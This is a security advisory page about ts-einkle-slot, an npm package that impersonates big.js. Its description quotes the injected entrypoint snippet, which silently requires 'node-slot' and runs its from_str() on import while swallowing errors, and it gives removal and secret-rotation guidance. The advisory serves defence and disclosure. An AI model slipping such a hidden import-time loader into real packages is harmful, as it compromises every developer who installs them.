MalwarePublished 26 Jun 2026Updated 29 Jun 2026

ts-einkle-slot (npm) · Malicious Code

Affects ts-einkle-slotSource GCVE Database

Malicious package : remove ts-einkle-slot and rotate any secrets on hosts that installed it.

Data as of 29 Jun 2026, 22:09 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6525

What to do

Remove ts-einkle-slot from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npmts-einkle-slot	Affected =0.0.8	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f565a21645ed6a288a820dea60e648589a5cca95a91b2c90720f3d2bcadca73b) Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package. ## Source: ghsa-malware (9c0d1cd76e98be8f9edf4cd5efd216e927574836f0e026a532f1edbe1a370e88) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Impact

Any project that installs or imports ts-einkle-slot@0.0.8 will execute attacker-controlled code from the node-slot dependency without user awareness. This can lead to compromise of the host environment or supply chain contamination. The malicious code is designed to silently swallow errors to avoid detection and maintain functionality as a drop-in replacement for big.js, increasing the risk of unnoticed exploitation.

Defensive guidance

Avoid installing or using the ts-einkle-slot package, especially version 0.0.8. Remove any instances of this package and its transitive dependencies from your projects and lockfiles. Monitor for any updates or advisories from npm or security databases regarding this package.

Summary

The ts-einkle-slot package published on npm mimics the legitimate big.js package by copying its source and metadata to spoof the publisher identity. However, its CommonJS and ESM entrypoints include injected code that immediately requires and invokes a method from the node-slot module, a transitive dependency introduced solely by this malicious package. This causes the node-slot code to execute upon any import or require of ts-einkle-slot, potentially delivering harmful effects controlled by the attacker. The package's advertised purpose does not justify loading node-slot, indicating malicious intent.

References

Community reviews

Loading reviews…

What to do

Affected software

Description

AI analysisMachine-generated, updated 26 Jun 2026, 22:25 UTC

Technical details

References

Community reviews